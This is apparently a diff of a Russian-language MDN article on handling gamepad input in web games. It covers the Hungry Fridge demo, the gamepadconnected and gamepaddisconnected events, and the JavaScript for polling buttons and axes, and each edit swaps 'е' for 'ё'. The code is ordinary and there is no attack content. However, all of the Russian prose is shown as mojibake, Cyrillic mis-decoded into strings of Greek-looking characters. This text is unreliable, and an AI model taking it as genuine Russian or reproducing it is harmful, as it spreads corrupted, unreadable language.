Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ быстро. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π“ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ <a href="http://enclavegames.com/games/hungry-fridge/">здСсь</a>.</p>
<p><img alt="hungryfridge-mainmenu" src="http://end3r.com/tmp/gamepad/gamepadapi-hungryfridge-img02.png" style="display: block; height: 333px; margin: 0px auto; width: 500px;"></p>
-<p>Вторая, скрытая рСализация "измСнСния" - это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ статичный Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ Π² ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΡƒΡŽ Π΄Π²ΠΈΠΆΡƒΡ‰ΡƒΡŽΡΡ, ΡΡ‚Ρ€Π΅Π»ΡΡŽΡ‰ΡƒΡŽ ΠΈ Π΅Π΄ΡΡ‰ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ. Когда Π²Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€, ΠΈΠ³Ρ€Π° Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ мСняСтся (Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ прСвращаСтся Π² супСр Ρ‚ΡƒΡ€Π±ΠΎ Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ), ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π±Ρ€ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊΠΎΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ API Gamepad. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ±ΠΈΠ²Π°Ρ‚ΡŒ Π΅Π΄Ρƒ, Π½ΠΎ Π²Ρ‹ всС Π΅Ρ‰Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΊΠ°Ρ‚ΡŒ Ρ‚ΠΈΠΏ ΠΏΠΈΡ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ Ρ…ΠΎΡ‡Π΅Ρ‚ ΡΡŠΠ΅ΡΡ‚ΡŒ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, ΠΈΠ½Π°Ρ‡Π΅ Π²Ρ‹ потСряСтС ΡΠ½Π΅Ρ€Π³ΠΈΡŽ.</p>
+<p>Вторая, скрытая рСализация "измСнСния" - это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ статичный Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ Π² ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΡƒΡŽ Π΄Π²ΠΈΠΆΡƒΡ‰ΡƒΡŽΡΡ, ΡΡ‚Ρ€Π΅Π»ΡΡŽΡ‰ΡƒΡŽ ΠΈ Π΅Π΄ΡΡ‰ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ. Когда Π²Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€, ΠΈΠ³Ρ€Π° Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ мСняСтся (Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ прСвращаСтся Π² супСр Ρ‚ΡƒΡ€Π±ΠΎ Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΉ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ), ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π±Ρ€ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊΠΎΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ API Gamepad. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ±ΠΈΠ²Π°Ρ‚ΡŒ Π΅Π΄Ρƒ, Π½ΠΎ Π²Ρ‹ всС Π΅Ρ‰Ρ‘ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΊΠ°Ρ‚ΡŒ Ρ‚ΠΈΠΏ ΠΏΠΈΡ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ…ΠΎΠ»ΠΎΠ΄ΠΈΠ»ΡŒΠ½ΠΈΠΊ Ρ…ΠΎΡ‡Π΅Ρ‚ ΡΡŠΠ΅ΡΡ‚ΡŒ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅, ΠΈΠ½Π°Ρ‡Π΅ Π²Ρ‹ потСряСтС ΡΠ½Π΅Ρ€Π³ΠΈΡŽ.</p>
<p><img alt="hungryfridge-howtoplay-gamepad" src="http://end3r.com/tmp/gamepad/gamepadapi-hungryfridge-img03.png" style="display: block; height: 333px; margin: 0px auto; width: 500px;"></p>
@@ -63,7 +63,7 @@ translation_of: Games/Techniques/Controls_Gamepad_API
<h2 id="РСализация">РСализация</h2>
-<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° Π²Π°ΠΆΠ½Ρ‹Ρ… события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСстС с API Gamepad-<code>gamepadconnected </code>ΠΈ <code>gamepaddisconnected</code>. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ срабатываСт, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ - ΠΊΠΎΠ³Π΄Π° Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ (Π»ΠΈΠ±ΠΎ физичСски ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π»ΠΈΠ±ΠΎ ΠΈΠ·-Π·Π° бСздСйствия).) Π’ Π΄Π΅ΠΌΠΎ-вСрсии ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>gamepadAPI </code>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для хранСния всСго, Ρ‡Ρ‚ΠΎ связано с API:</p>
+<p>Π•ΡΡ‚ΡŒ Π΄Π²Π° Π²Π°ΠΆΠ½Ρ‹Ρ… события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСстС с API Gamepad-<code>gamepadconnected </code>ΠΈ <code>gamepaddisconnected</code>. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ срабатываСт, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ - ΠΊΠΎΠ³Π΄Π° Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ (Π»ΠΈΠ±ΠΎ физичСски ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π»ΠΈΠ±ΠΎ ΠΈΠ·-Π·Π° бСздСйствия).) Π’ Π΄Π΅ΠΌΠΎ-вСрсии ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>gamepadAPI </code>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для хранСния всСго, Ρ‡Ρ‚ΠΎ связано с API:</p>
<pre class="brush: js"><code>var gamepadAPI = {
controller: {},
@@ -118,11 +118,11 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code>
<h3 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚_Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°">ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°</h3>
-<p>Π’ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>gamepad </code>содСрТится ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ состояния ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈ осСй:</p>
+<p>Π’ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>gamepad </code>содСрТится ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ состояния ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΈ осСй:</p>
<ul>
<li><code>id</code>: Π‘Ρ‚Ρ€ΠΎΠΊΠ°, содСрТащая ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π΅.</li>
- <li><code>index</code>: Π£Π½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ устройства.</li>
+ <li><code>index</code>: Π£Π½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ устройства.</li>
<li><code>connected</code>: ЛогичСская пСрСмСнная. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>true</code>Β ΠΏΡ€ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ.</li>
<li><code>mapping</code>: Π’ΠΈΠΏ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ ΠΊΠ½ΠΎΠΏΠΎΠΊ; Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹ΠΉ - СдинствСнный доступный Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</li>
<li><code>axes</code>: БостояниС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ оси, прСдставлСнноС массивом Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой.</li>
@@ -133,7 +133,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code>
<h3 id="Запрос_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°_Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°">Запрос ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°</h3>
-<p>Помимо <code>connect()</code> ΠΈ <code>disconnect()</code>, Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>gamepadAPI </code>Π΅ΡΡ‚ΡŒ Π΅Ρ‰Π΅ Π΄Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: <code>update()</code> ΠΈ <code>buttonPressed()</code>. <code>update() </code>выполняСтся Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рСгулярно ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ фактичСскоС состояниС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°:</p>
+<p>Помимо <code>connect()</code> ΠΈ <code>disconnect()</code>, Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>gamepadAPI </code>Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ Π΄Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: <code>update()</code> ΠΈ <code>buttonPressed()</code>. <code>update() </code>выполняСтся Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠ°Π΄Ρ€Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рСгулярно ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ фактичСскоС состояниС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°:</p>
<pre class="brush: js"><code>update: function() {
// clear the buttons cache
@@ -175,7 +175,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code>
<h3 id="ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅_наТатия_ΠΊΠ½ΠΎΠΏΠΎΠΊ">ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ наТатия ΠΊΠ½ΠΎΠΏΠΎΠΊ</h3>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>buttonPressed()</code> Ρ‚Π°ΠΊΠΆΠ΅ помСщаСтся Π² основной ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΉ Ρ†ΠΈΠΊΠ» для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΉ ΠΊΠ½ΠΎΠΏΠΎΠΊ. Для этого трСбуСтся Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β - ΠΊΠ½ΠΎΠΏΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ, ΠΈ (Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ) способ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Π΅, Ρ‡Ρ‚ΠΎ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ принято. Π‘Π΅Π· Π½Π΅Π³ΠΎ Π²Π°ΠΌ придСтся ΠΎΡ‚ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈ Π½Π°ΠΆΠ°Ρ‚ΡŒ Π΅Π΅ снова, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ эффСкт.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>buttonPressed()</code> Ρ‚Π°ΠΊΠΆΠ΅ помСщаСтся Π² основной ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΉ Ρ†ΠΈΠΊΠ» для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΉ ΠΊΠ½ΠΎΠΏΠΎΠΊ. Для этого трСбуСтся Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β - ΠΊΠ½ΠΎΠΏΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ, ΠΈ (Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ) способ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΈΠ³Ρ€Π΅, Ρ‡Ρ‚ΠΎ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ принято. Π‘Π΅Π· Π½Π΅Π³ΠΎ Π²Π°ΠΌ придётся ΠΎΡ‚ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈ Π½Π°ΠΆΠ°Ρ‚ΡŒ Π΅Ρ‘ снова, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ эффСкт.</p>
<pre class="brush: js"><code>buttonPressed: function(button, hold) {
var newPress = false;
@@ -213,7 +213,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code>
}</code>
</pre>
-<p>Если <code>gamepadAPI.turbo</code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ (ΠΈΠ»ΠΈ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠΈ) Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΌΡ‹ выполняСм ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π²ΠΎΠ·Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ Π½Π° Π½ΠΈΡ…. Π’ этом случаС Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΈΠ»ΠΈ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ "A" ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ выстрСлу ΠΏΡƒΠ»ΠΈ, Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ "B" поставит ΠΈΠ³Ρ€Ρƒ Π½Π° ΠΏΠ°ΡƒΠ·Ρƒ.</p>
+<p>Если <code>gamepadAPI.turbo</code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ (ΠΈΠ»ΠΈ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠΈ) Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΌΡ‹ выполняСм ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π²ΠΎΠ·Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ Π½Π° Π½ΠΈΡ…. Π’ этом случаС Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΈΠ»ΠΈ ΡƒΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ "A" ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ выстрСлу ΠΏΡƒΠ»ΠΈ, Π° Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ "B" поставит ΠΈΠ³Ρ€Ρƒ Π½Π° ΠΏΠ°ΡƒΠ·Ρƒ.</p>
<h3 id="ΠŸΠΎΡ€ΠΎΠ³_оси">ΠŸΠΎΡ€ΠΎΠ³ оси</h3>
@@ -229,7 +229,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code>
}</code>
</pre>
-<p>Π”Π°ΠΆΠ΅ Ссли ΠΌΡ‹ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ сдвинСм Π΅Π³ΠΎ ΠΏΠΎ ошибкС ΠΈΠ»ΠΈ стик Π½Π΅ вСрнСтся Π² исходноС ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π°Π½ΠΊ Π½Π΅ повСрнСтся Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½ΠΎ.</p>
+<p>Π”Π°ΠΆΠ΅ Ссли ΠΌΡ‹ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ сдвинСм Π΅Π³ΠΎ ΠΏΠΎ ошибкС ΠΈΠ»ΠΈ стик Π½Π΅ вСрнётся Π² исходноС ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π°Π½ΠΊ Π½Π΅ повСрнётся Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½ΠΎ.</p>
<h2 id="ОбновлСниС_спСцификаций">ОбновлСниС спСцификаций</h2>
@@ -237,7 +237,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code>
<h3 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠ²">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠ²</h3>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref ("Navigator.getGamepads ()")}} Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ с Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ объяснСниСм ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΊΠΎΠ΄Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π»ΠΈΠ½Π° массива Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ <code>n+1</code>, Π³Π΄Π΅ <code>n</code>-количСство ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… устройств β€” ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΎΠ΄Π½ΠΎ устройство ΠΈ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ индСкс 1, Π΄Π»ΠΈΠ½Π° массива Ρ€Π°Π²Π½Π° 2, ΠΈ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ: <code>[null, [object Gamepad]]</code>. Если устройство ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΈΠ»ΠΈ нСдоступно, Ρ‚ΠΎ для Π½Π΅Π³ΠΎ устанавливаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code>.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref ("Navigator.getGamepads ()")}} Π±Ρ‹Π» ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½ с Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ объяснСниСм ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΊΠΎΠ΄Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π»ΠΈΠ½Π° массива Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ <code>n+1</code>, Π³Π΄Π΅ <code>n</code>-количСство ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… устройств β€” ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΎΠ΄Π½ΠΎ устройство ΠΈ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ индСкс 1, Π΄Π»ΠΈΠ½Π° массива Ρ€Π°Π²Π½Π° 2, ΠΈ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ: <code>[null, [object Gamepad]]</code>. Если устройство ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΈΠ»ΠΈ нСдоступно, Ρ‚ΠΎ для Π½Π΅Π³ΠΎ устанавливаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code>.</p>
<h3 id="Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠ΅_ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅">Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</h3>
@@ -257,4 +257,4 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code>
